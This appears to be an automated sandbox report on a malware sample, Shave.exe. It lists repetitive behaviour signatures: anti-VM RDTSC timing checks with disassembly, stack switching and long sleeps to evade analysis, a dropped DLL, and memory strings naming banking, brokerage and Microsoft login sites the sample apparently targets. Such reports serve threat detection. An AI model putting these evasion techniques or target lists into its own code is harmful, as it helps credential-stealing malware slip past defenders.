Source: C:\Users\user\Desktop\Shave.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\Shave.exe	API/Special instruction interceptor: Address: 452F7F5
Source: C:\Users\user\Desktop\Shave.exe	API/Special instruction interceptor: Address: 319F7F5

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\Shave.exe	RDTSC instruction interceptor: First address: 44D072A second address: 44D072A instructions: 0x00000000 rdtsc 0x00000002 test dl, cl 0x00000004 test edi, 02340520h 0x0000000a cmp ebx, ecx 0x0000000c jc 00007FEFB8FB9C9Eh 0x0000000e test dl, cl 0x00000010 inc ebp 0x00000011 inc ebx 0x00000012 test ebx, ecx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\Shave.exe	RDTSC instruction interceptor: First address: 314072A second address: 314072A instructions: 0x00000000 rdtsc 0x00000002 test dl, cl 0x00000004 test edi, 02340520h 0x0000000a cmp ebx, ecx 0x0000000c jc 00007FEFB8F000DEh 0x0000000e test dl, cl 0x00000010 inc ebp 0x00000011 inc ebx 0x00000012 test ebx, ecx 0x00000014 rdtsc

Source: C:\Users\user\Desktop\Shave.exe	Memory allocated: 110000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Memory allocated: 35130000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Memory allocated: 34F10000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\Shave.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Thread delayed: delay time: 599891	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Thread delayed: delay time: 599766	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Thread delayed: delay time: 599656	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Thread delayed: delay time: 599547	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Thread delayed: delay time: 599438	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Thread delayed: delay time: 599313	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Thread delayed: delay time: 599188	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Thread delayed: delay time: 599063	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Thread delayed: delay time: 598953	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Thread delayed: delay time: 598844	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Thread delayed: delay time: 598719	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Thread delayed: delay time: 598609	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Thread delayed: delay time: 598500	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Thread delayed: delay time: 598391	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Thread delayed: delay time: 598281	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Thread delayed: delay time: 598172	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Thread delayed: delay time: 598063	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Thread delayed: delay time: 597938	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Thread delayed: delay time: 597828	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Thread delayed: delay time: 597719	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Thread delayed: delay time: 597594	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Thread delayed: delay time: 597484	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Thread delayed: delay time: 597375	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Thread delayed: delay time: 597266	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Thread delayed: delay time: 597156	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Thread delayed: delay time: 597047	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Thread delayed: delay time: 596914	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Thread delayed: delay time: 596797	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Thread delayed: delay time: 596677	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Thread delayed: delay time: 596556	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Thread delayed: delay time: 596438	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Thread delayed: delay time: 596313	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Thread delayed: delay time: 596188	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Thread delayed: delay time: 596063	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Thread delayed: delay time: 595938	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Thread delayed: delay time: 595828	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Thread delayed: delay time: 595719	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Thread delayed: delay time: 595594	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Thread delayed: delay time: 595484	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Thread delayed: delay time: 595375	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Thread delayed: delay time: 595266	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Thread delayed: delay time: 595156	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Thread delayed: delay time: 595047	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Thread delayed: delay time: 594937	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Thread delayed: delay time: 594828	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Thread delayed: delay time: 594719	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Thread delayed: delay time: 594594	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Thread delayed: delay time: 594484	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Thread delayed: delay time: 594375	Jump to behavior

Source: C:\Users\user\Desktop\Shave.exe	Window / User API: threadDelayed 8341			Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Window / User API: threadDelayed 1497			Jump to behavior

Source: C:\Users\user\Desktop\Shave.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsa5D43.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\Shave.exe TID: 5376	Thread sleep count: 38 > 30	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe TID: 5376	Thread sleep time: -35048813740048126s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe TID: 5376	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe TID: 5376	Thread sleep time: -599891s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe TID: 2076	Thread sleep count: 8341 > 30	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe TID: 2076	Thread sleep count: 1497 > 30	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe TID: 5376	Thread sleep time: -599766s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe TID: 5376	Thread sleep time: -599656s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe TID: 5376	Thread sleep time: -599547s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe TID: 5376	Thread sleep time: -599438s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe TID: 5376	Thread sleep time: -599313s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe TID: 5376	Thread sleep time: -599188s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe TID: 5376	Thread sleep time: -599063s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe TID: 5376	Thread sleep time: -598953s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe TID: 5376	Thread sleep time: -598844s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe TID: 5376	Thread sleep time: -598719s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe TID: 5376	Thread sleep time: -598609s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe TID: 5376	Thread sleep time: -598500s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe TID: 5376	Thread sleep time: -598391s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe TID: 5376	Thread sleep time: -598281s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe TID: 5376	Thread sleep time: -598172s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe TID: 5376	Thread sleep time: -598063s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe TID: 5376	Thread sleep time: -597938s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe TID: 5376	Thread sleep time: -597828s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe TID: 5376	Thread sleep time: -597719s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe TID: 5376	Thread sleep time: -597594s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe TID: 5376	Thread sleep time: -597484s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe TID: 5376	Thread sleep time: -597375s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe TID: 5376	Thread sleep time: -597266s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe TID: 5376	Thread sleep time: -597156s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe TID: 5376	Thread sleep time: -597047s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe TID: 5376	Thread sleep time: -596914s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe TID: 5376	Thread sleep time: -596797s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe TID: 5376	Thread sleep time: -596677s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe TID: 5376	Thread sleep time: -596556s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe TID: 5376	Thread sleep time: -596438s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe TID: 5376	Thread sleep time: -596313s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe TID: 5376	Thread sleep time: -596188s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe TID: 5376	Thread sleep time: -596063s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe TID: 5376	Thread sleep time: -595938s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe TID: 5376	Thread sleep time: -595828s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe TID: 5376	Thread sleep time: -595719s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe TID: 5376	Thread sleep time: -595594s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe TID: 5376	Thread sleep time: -595484s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe TID: 5376	Thread sleep time: -595375s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe TID: 5376	Thread sleep time: -595266s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe TID: 5376	Thread sleep time: -595156s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe TID: 5376	Thread sleep time: -595047s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe TID: 5376	Thread sleep time: -594937s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe TID: 5376	Thread sleep time: -594828s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe TID: 5376	Thread sleep time: -594719s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe TID: 5376	Thread sleep time: -594594s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe TID: 5376	Thread sleep time: -594484s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe TID: 5376	Thread sleep time: -594375s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\Shave.exe	Code function: 0_2_004065DA FindFirstFileW,FindClose,	0_2_004065DA
Source: C:\Users\user\Desktop\Shave.exe	Code function: 0_2_004059A9 GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	0_2_004059A9
Source: C:\Users\user\Desktop\Shave.exe	Code function: 0_2_00402868 FindFirstFileW,	0_2_00402868
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_00402868 FindFirstFileW,	3_2_00402868
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_004065DA FindFirstFileW,FindClose,	3_2_004065DA
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_004059A9 DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	3_2_004059A9

Source: C:\Users\user\Desktop\Shave.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Thread delayed: delay time: 599891	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Thread delayed: delay time: 599766	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Thread delayed: delay time: 599656	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Thread delayed: delay time: 599547	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Thread delayed: delay time: 599438	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Thread delayed: delay time: 599313	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Thread delayed: delay time: 599188	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Thread delayed: delay time: 599063	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Thread delayed: delay time: 598953	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Thread delayed: delay time: 598844	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Thread delayed: delay time: 598719	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Thread delayed: delay time: 598609	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Thread delayed: delay time: 598500	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Thread delayed: delay time: 598391	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Thread delayed: delay time: 598281	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Thread delayed: delay time: 598172	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Thread delayed: delay time: 598063	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Thread delayed: delay time: 597938	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Thread delayed: delay time: 597828	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Thread delayed: delay time: 597719	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Thread delayed: delay time: 597594	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Thread delayed: delay time: 597484	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Thread delayed: delay time: 597375	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Thread delayed: delay time: 597266	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Thread delayed: delay time: 597156	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Thread delayed: delay time: 597047	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Thread delayed: delay time: 596914	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Thread delayed: delay time: 596797	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Thread delayed: delay time: 596677	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Thread delayed: delay time: 596556	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Thread delayed: delay time: 596438	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Thread delayed: delay time: 596313	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Thread delayed: delay time: 596188	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Thread delayed: delay time: 596063	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Thread delayed: delay time: 595938	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Thread delayed: delay time: 595828	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Thread delayed: delay time: 595719	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Thread delayed: delay time: 595594	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Thread delayed: delay time: 595484	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Thread delayed: delay time: 595375	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Thread delayed: delay time: 595266	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Thread delayed: delay time: 595156	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Thread delayed: delay time: 595047	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Thread delayed: delay time: 594937	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Thread delayed: delay time: 594828	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Thread delayed: delay time: 594719	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Thread delayed: delay time: 594594	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Thread delayed: delay time: 594484	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Thread delayed: delay time: 594375	Jump to behavior

Source: Shave.exe, 00000003.00000002.3300398424.00000000364DE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: Shave.exe, 00000003.00000002.3300398424.00000000364DE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: Shave.exe, 00000003.00000002.3300398424.00000000364DE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: Shave.exe, 00000003.00000002.3300398424.00000000361C0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: Shave.exe, 00000003.00000002.3300398424.00000000361C0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: Shave.exe, 00000003.00000002.3300398424.00000000361C0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696428655
Source: Shave.exe, 00000003.00000002.3279604982.0000000004BCC000.00000004.00000020.00020000.00000000.sdmp, Shave.exe, 00000003.00000002.3279604982.0000000004B78000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Shave.exe, 00000003.00000002.3300398424.00000000361C0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: Shave.exe, 00000003.00000002.3300398424.00000000364DE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696428655
Source: Shave.exe, 00000003.00000002.3300398424.00000000364DE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655
Source: Shave.exe, 00000003.00000002.3300398424.00000000361C0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: Shave.exe, 00000003.00000002.3300398424.00000000364DE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: Shave.exe, 00000003.00000002.3300398424.00000000364DE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: Shave.exe, 00000003.00000002.3300398424.00000000361C0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696428655
Source: Shave.exe, 00000003.00000002.3300398424.00000000361C0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: Shave.exe, 00000003.00000002.3300398424.00000000361C0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: Shave.exe, 00000003.00000002.3300398424.00000000361C0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: Shave.exe, 00000003.00000002.3300398424.00000000364DE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: Shave.exe, 00000003.00000002.3300398424.00000000361C0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: Shave.exe, 00000003.00000002.3300398424.00000000361C0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: Shave.exe, 00000003.00000002.3300398424.00000000364DE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: Shave.exe, 00000003.00000002.3300398424.00000000364DE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: Shave.exe, 00000003.00000002.3300398424.00000000361C0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: Shave.exe, 00000003.00000002.3300398424.00000000364DE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: Shave.exe, 00000003.00000002.3300398424.00000000361C0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655
Source: Shave.exe, 00000003.00000002.3300398424.00000000361C0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: Shave.exe, 00000003.00000002.3300398424.00000000364DE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: Shave.exe, 00000003.00000002.3300398424.00000000361C0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696428655f
Source: Shave.exe, 00000003.00000002.3300398424.00000000364DE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: Shave.exe, 00000003.00000002.3300398424.00000000361C0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: Shave.exe, 00000003.00000002.3300398424.00000000364DE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: Shave.exe, 00000003.00000002.3300398424.00000000364DE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: Shave.exe, 00000003.00000002.3300398424.00000000364DE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: Shave.exe, 00000003.00000002.3300398424.00000000361C0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: Shave.exe, 00000003.00000002.3300398424.00000000364DE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: Shave.exe, 00000003.00000002.3300398424.00000000361C0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: Shave.exe, 00000003.00000002.3300398424.00000000364DE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
